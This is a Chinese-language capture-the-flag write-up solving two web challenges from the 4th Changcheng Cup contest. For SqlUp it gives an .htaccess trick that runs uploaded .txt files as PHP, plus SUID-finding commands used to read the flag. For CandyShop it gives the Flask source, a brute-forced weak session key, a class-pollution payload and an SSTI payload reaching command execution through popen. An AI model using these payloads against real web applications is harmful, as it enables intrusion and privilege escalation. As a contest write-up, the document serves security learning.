第四届长城杯网络安全大赛Web方向思路及题解


填错信息导致没有号打这个比赛,就随便看看题了,没想到他们都做不出来。

SqlUp

这里一个登录框,发现可以通过

1
2
username: admin
password: 1

登录成功。

登陆成功后就是一个普通的仪表盘,点击头像发现可以更改头像。头像上传后直接302跳转回原页面,这里需要猜一下上传的目录上传在哪里了。

这里还是很好猜的,第一次就才对了,上传的文件放在了/uploads文件夹下,并且文件上传中不能够有p这个字符。

这里就是采用最简单的思路,经过测试发现可以使用.htaccess进行绕过,准备一个.htaccess:

1
2
3
<FilesMatch ".txt">
SetHandler application/x-httpd-php
</FilesMatch>

上传后随便传一个1.txt并且内容是shell就可以了。

发现flag没有读权限,尝试find寻找有suid标志位的应用。

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

发现tac有权限,就直接利用就可以了。

CandyShop

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Register')

class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Login')

class Candy:
def __init__(self, name, image):
self.name = name
self.image = image

class User:
def __init__(self, username, password):
self.username = username
self.password = password

def verify_password(self, username, password):
return (self.username==username) & (self.password==password)
class Admin:
def __init__(self):
self.username = ""
self.identity = ""

def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
Candy(name="Chocolate Bar", image="images/candy2.jpg"),
Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, password=form.password.data)
users.append(user)
return redirect(url_for('login'))

return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
for u in users:
if u.verify_password(form.username.data, form.password.data):
session['username'] = form.username.data
session['identity'] = "guest"
return redirect(url_for('home'))

return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
global inventory, sold
message = None
username = session.get('username')
identity = session.get('identity')

if not username:
return redirect(url_for('register'))

if sold >= 10 and sold < 500:
sold = 0
inventory = 500
message = "But you have bought too many candies!"
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

if request.method == 'POST':
action = request.form.get('action')
if action == "buy_candy":
if inventory > 0:
inventory -= 3
sold += 3
if inventory == 0:
message = "All candies are sold out!"
if sold >= 500:
with open('secret.txt', 'r') as file:
message = file.read()

return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session,admin)
admin_user.append(admin)
return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
candy_name = request.form.get('name')
candy_image = request.form.get('image')
if candy_name and candy_image:
new_candy = Candy(name=candy_name, image=candy_image)
candies.append(new_candy)
return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
global inventory
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
if request.form.get('add'):
num = request.form.get('add')
inventory += int(num)
return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
return render_template('index.html')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=1337)

一眼顶针鉴定为python原型链污染,但是原型链污染只能够在admin登录成功才能够merge,而且merge的时候还是对session进行merge。因此能够获取到session对我们尤为重要

如何获取session呢?和我们的secret_key有关,既然我们只有app.py,而且需要我们修改session后才能够污染,那我们势必是能够破解出它的secret_key的。也就是说我们的secret_key必须是有规律的东西,又或者是弱密码。

走弱密码字典爆出来key是a123456,通过flask-session-cookie-manager进行session的修改就可以登进admin了。

至于这个merge在哪里有用呢?

搜到了一篇文章,这里是利用pydash进行原型链污染的,但是大同小异。其中有许多共同点:Anozer Blog

这个文章是通过原型链污染secret_key从而利用render_template_string这个函数进行ssti。

1
__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.secret_key

但是这一步我们已经做完了,所以我们要做的就是直接进行ssti。而这一步的inventory_value是通过inventory这个全局变量得来,所以我们这里可以利用原型链污染污染inventory这个变量就好了。

再仔细看看inventory_value,它是通过re正则表达式去掉下面的字符:

1
2
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))

过滤了字母+下划线。考虑利用八进制编码绕过,其中x为实际测试得到的数字:

1
{{''['__class__']['__mro__'][x]['__subclasses__']()[xxx]['__init__']['__globals__']['popen']('whoami')['read']()}}

然后把所有的字母都改成八进制编码并且进行转义,然后加密到session里就可以了,记得怎么进行python原型链污染的就ok:

1
{"__init__":{"__globals__":{"xxx":"xxx","inventory":"\{\{payload_here\}\}"}}}

到这里已经把大致思路讲完了,后面rce的过程省略。flag在/tmp下。